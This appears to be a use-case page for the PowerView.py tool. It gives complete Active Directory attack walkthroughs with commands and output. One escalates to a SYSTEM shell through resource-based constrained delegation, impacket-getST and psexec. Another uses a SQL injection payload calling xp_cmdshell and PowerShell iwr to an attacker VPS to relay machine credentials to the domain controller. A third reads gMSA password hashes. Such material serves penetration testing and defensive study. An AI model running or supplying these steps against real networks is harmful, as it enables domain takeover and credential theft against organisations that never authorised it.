PowerView.py Use Cases
Scenario: You have identified a SQL injection vulnerability in a web application, allowing you to compromise a user with SeImpersonatePrivilege. Leveraging Resource-Based Constrained Delegation (RBCD) attacks, you can escalate privileges to become an Administrator.
Using PowerView.py, perform the following steps to achieve privilege escalation:
- Retrieve information about the MachineAccountQuota property.
- Create a computer account (e.g., POC113)
- Set the object ACL for the targeted account with RBCD rights.
└─$ export KRB5CCNAME=ticket.ccache
└─$ proxychains4 -q powerview domain.local/SQL03\$@10.10.10.10 --no-pass -k -ns 10.10.10.10
[2024-01-17 21:15:43] LDAP Signing NOT Enforced!
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Get-Domain -Properties ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota : 10
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Add-DomainComputer -ComputerName POC113 -ComputerPass Password123
[2024-01-17 21:17:16] Successfully added machine account POC113$ with password Password123.
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Add-DomainObjectAcl -TargetIdentity SQL03 -PrincipalIdentity POC113 -Rights RBCD
[2024-01-17 21:17:23] Found principal identity dn CN=POC113,CN=Computers,DC=domain,DC=local
[2024-01-17 21:17:23] Found target identity dn CN=SQL03,OU=SQL Servers,OU=Servers,OU=Domain,DC=domain,DC=local
[2024-01-17 21:17:23] Adding rbcd privilege to SQL03
[2024-01-17 21:17:24] Delegation rights modified succesfully!
[2024-01-17 21:17:24] CN=POC113,CN=Computers,DC=domain,DC=local can now impersonate users on SQL03$ via S4U2Proxy- Check for the presence of POC113 within the value of the
msDS-AllowedToActOnBehalfOfOtherIdentityproperty
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV > Get-DomainComputer SQL03 -Properties * -ResolveSIDs
...
msDS-AllowedToActOnBehalfOfOtherIdentity : DOMAIN\POC113$
...- Use
impacket-getSTto request a Service Ticket and save it as ccache with-impersonateAdministrator.
└─$ unset KRB5CCNAME
└─$ proxychains4 -q impacket-getST domain.local/POC113\$:'Password123' -spn CIFS/SQL03.domain.local -impersonate Administrator -dc-ip 10.10.10.10
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache- Obtain a shell using
impacket-psexec
└─# KRB5CCNAME=Administrator.ccache proxychains4 -q impacket-psexec Administrator@SQL03.DOMAIN.LOCAL -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Requesting shares on SQL03.DOMAIN.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file fLujQQds.exe
[*] Opening SVCManager on SQL03.DOMAIN.LOCAL.....
[*] Creating service aSVZ on SQL03.DOMAIN.LOCAL.....
[*] Starting service aSVZ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\systemReferences
Scenario: You have identified a SQL injection vulnerability in a web application. By using --relay feature, you are able to receive the computer hash account and relay it back to domain controller (DC). Thus, connected to the powerview.py and can proceed to fully compromise the machine using RBCD technique.
Conditions:
- Target computer must have internet
- Assumed you have other tunnels to forward connections (e.g SOCKS,SSF,Neo-reGeorg,...)
- Target computer must be domain-joined
Step by step
- Run powerview in the attacker machine with defined the
--relay,--relay-hostand--relay-port.
└─# proxychains4 -q powerview 10.10.10.10 --relay --relay-host 0.0.0.0 --relay-port 80 --use-ldaps- Exploit the SQL Injection and ensure to include
-UseDefaultCredentials.
1');EXEC xp_cmdshell "powershell.exe -c iwr -UseDefaultCredentials http://<VPS_IP>/abc";--- The result, you successfully authenticate to
DC
└─# proxychains4 -q powerview 10.10.10.10 --relay --relay-host 0.0.0.0 --relay-port 80 --use-ldaps
[2024-02-03 04:09:02] Setting up HTTP Server on port 80
[2024-02-03 04:09:19] HTTPD(81): Client requested path: /abc
[2024-02-03 04:09:19] HTTPD(81): Client requested path: /abc
[2024-02-03 04:09:19] HTTPD(81): Connection from 127.0.0.1 controlled, attacking target ldaps://10.10.10.10
[2024-02-03 04:09:20] HTTPD(81): Client requested path: /abc
[2024-02-03 04:09:22] HTTPD(81): Authenticating against ldaps://10.10.10.10 as DOMAIN/SQL03$ SUCCEED
(LDAP)-[10.10.10.10]-[DOMAIN\SQL03$]
PV >References
Scenario: You would like to search for gMSA password blobs and look for objects that have the permission to read the password.
Using PowerView.py, run the following module to search for gMSA password blobs:
-
Get-DomainGMSA@Get-GMSA
- User with permission to read the gMSA password
PV > Get-DomainGMSA
ObjectDnsHostname : dc01.range.local
ObjectSAN : gMSA01$
ObjectSID : S-1-5-21-4230268830-1672891101-3322491368-3654
PrincipallAllowedToRead : RANGE\range.adm
GMSAPassword : 54908ce8beb44115cfb5b6a265af33f0- User without permission to read the gMSA password
PV > Get-GMSA
ObjectDnsHostname : dc01.range.local
ObjectSAN : gMSA01$
ObjectSID : S-1-5-21-4230268830-1672891101-3322491368-3654
PrincipallAllowedToRead : RANGE\range.admGet-DomainComputer -GMSAPassword
- User with permission to read the gMSA password
PV > Get-DomainComputer -GMSAPassword
cn : gMSA01
-------------------------------------------------
msDS-ManagedPassword : 54908ce8beb44115cfb5b6a265af33f0
msDS-ManagedPasswordId : AQAAAEtEU0sCAAAAagEAAA8AAAAHAAAARJ4Wx35yYF36Zi3036GfjgAAAAAYAAAAGAAAAFIAQQBOAEcARQAuAGwAbwBjAGEAbAAAAFIAQQBOAEcARQAuAGwAbwBjAGEAbAAAAA==
msDS-ManagedPasswordInterval : 2
msDS-GroupMSAMembership : RANGE\range.adm- User without permission to read the gMSA password
PV > Get-DomainComputer -GMSAPassword
cn : gMSA01
-------------------------------------------------
msDS-ManagedPasswordId : AQAAAEtEU0sCAAAAagEAAA8AAAAHAAAARJ4Wx35yYF36Zi3036GfjgAAAAAYAAAAGAAAAFIAQQBOAEcARQAuAGwAbwBjAGEAbAAAAFIAQQBOAEcARQAuAGwAbwBjAGEAbAAAAA==
msDS-ManagedPasswordInterval : 2
msDS-GroupMSAMembership : RANGE\range.admReferences
